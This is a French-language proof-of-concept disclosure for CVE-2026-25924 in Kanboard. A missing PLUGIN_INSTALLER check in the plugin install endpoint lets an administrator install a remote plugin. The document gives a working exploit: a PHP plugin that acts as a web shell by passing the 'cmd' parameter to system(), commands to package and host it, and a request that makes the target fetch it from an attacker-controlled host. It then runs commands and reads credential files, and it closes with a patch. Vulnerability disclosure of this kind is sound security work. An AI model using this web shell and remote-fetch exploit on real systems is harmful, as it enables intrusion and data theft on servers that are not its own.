
Preuve de concept pour CVE-2026-25924, démontrant une exécution de code à distance administrative dans Kanboard via un contrôle d'accès manquant sur l'installation de plugins.
Preuve de concept pour une RCE administrative via contournement du contrôle de sécurité
Divulgation : Signalé à l'origine par moi via GHSA-grch-p7vf-vc4f
⚠️ Usage exclusivement réservé aux tests d'intrusion et à la recherche autorisés.
| Champ | Valeur |
|---|
| ID CVE | CVE-2026-25924 |
| Sévérité | 🔴 Élevée |
| Score CVSS | 8.4 |
| Vecteur CVSS | [CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H] |
| CWE | CWE-863 : Autorisation incorrecte |
| Produit concerné | Kanboard ≤ 1.2.49 |
| Version corrigée | 1.2.50 |
| Avis de sécurité | GHSA-grch-p7vf-vc4f |
Une vulnérabilité de contournement du contrôle de sécurité dans Kanboard v1.2.49 permet à un administrateur authentifié d'obtenir une exécution de code à distance (RCE) complète. Bien que l'application masque correctement l'interface d'installation de plugins lorsque la configuration PLUGIN_INSTALLER est définie sur false, le point de terminaison backend sous-jacent ne vérifie pas ce paramètre de sécurité. Un attaquant peut exploiter cette négligence pour forcer le serveur à télécharger et installer un plugin malveillant, conduisant à une exécution de code arbitraire.


Kanboard utilise une constante de sécurité PLUGIN_INSTALLER pour restreindre la possibilité d'installer des plugins depuis des URL distantes. Elle est définie dans app/constants.php :
Fichier : app/constants.php
21: defined('PLUGIN_INSTALLER') or define('PLUGIN_INSTALLER', strtolower(getenv('PLUGIN_INSTALLER')) === 'true'); // Disabled by default for security reasons
L'application vérifie correctement ce paramètre dans les méthodes de rendu de l'interface utilisateur du PluginController, telles que show() et directory(), en utilisant Installer::isConfigured() :
Fichier : app/Controller/PluginController.php
22: public function show()
23: {
...
28: 'is_configured' => Installer::isConfigured(),
29: )));
30: }
Cependant, la méthode install() du même contrôleur n'effectue pas cette vérification. Elle valide uniquement le jeton CSRF avant de procéder au téléchargement et à l'installation d'un plugin depuis une URL arbitraire fournie dans le paramètre archive_url.
Code vulnérable dans app/Controller/PluginController.php :
56: public function install()
57: {
58: $this->checkCSRFParam();
59: $pluginArchiveUrl = urldecode($this->request->getStringParam('archive_url'));
60:
61: try {
62: $installer = new Installer($this->container);
63: $installer->install($pluginArchiveUrl); // <--- VULNERABILITY: Missing check for Installer::isConfigured()
64: $this->flash->success(t('Plugin installed successfully.'));
65: } catch (PluginInstallerException $e) {
66: $this->flash->failure($e->getMessage());
67: }
68:
69: $this->response->redirect($this->helper->url->to('PluginController', 'show'));
70: }
Étant donné que Installer::install() ne vérifie pas non plus la constante PLUGIN_INSTALLER, un administrateur peut contourner la restriction prévue simplement en accédant directement au point de terminaison avec un jeton CSRF valide. Une fois installé, le plugin malveillant est automatiquement chargé et exécuté par le Kanboard\Core\Plugin\Loader, accordant à l'attaquant une RCE complète.
Créez un répertoire nommé Exploit avec un fichier Plugin.php :
<?php
namespace Kanboard\Plugin\Exploit;
use Kanboard\Core\Plugin\Base;
class Plugin extends Base {
public function initialize() {
// Web shell listener
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
}
}
Compressez le dossier et hébergez-le sur un serveur contrôlé par l'attaquant :
zip -r exploit.zip Exploit/
python3 -m http.server 80

Connectez-vous à Kanboard en tant qu'administrateur. Obtenez votre csrf_token depuis le code source de la page et naviguez vers :
http://[TARGET_IP]:8080/?controller=PluginController&action=install&archive_url=http://[ATTACKER_IP]/exploit.zip&csrf_token=[YOUR_TOKEN]

Utilisez le paramètre cmd pour exécuter des commandes système arbitraires :
http://[TARGET_IP]:8080/?controller=DashboardController&action=show&cmd=id


Cette vulnérabilité permet à un administrateur de contourner les restrictions de sécurité imposées par l'hôte. En obtenant une RCE, l'attaquant peut :
/etc/passwd, config.php).Ajoutez une vérification de Installer::isConfigured() au début des méthodes install() et update() dans app/Controller/PluginController.php :
if (! Installer::isConfigured()) {
throw new AccessForbiddenException();
}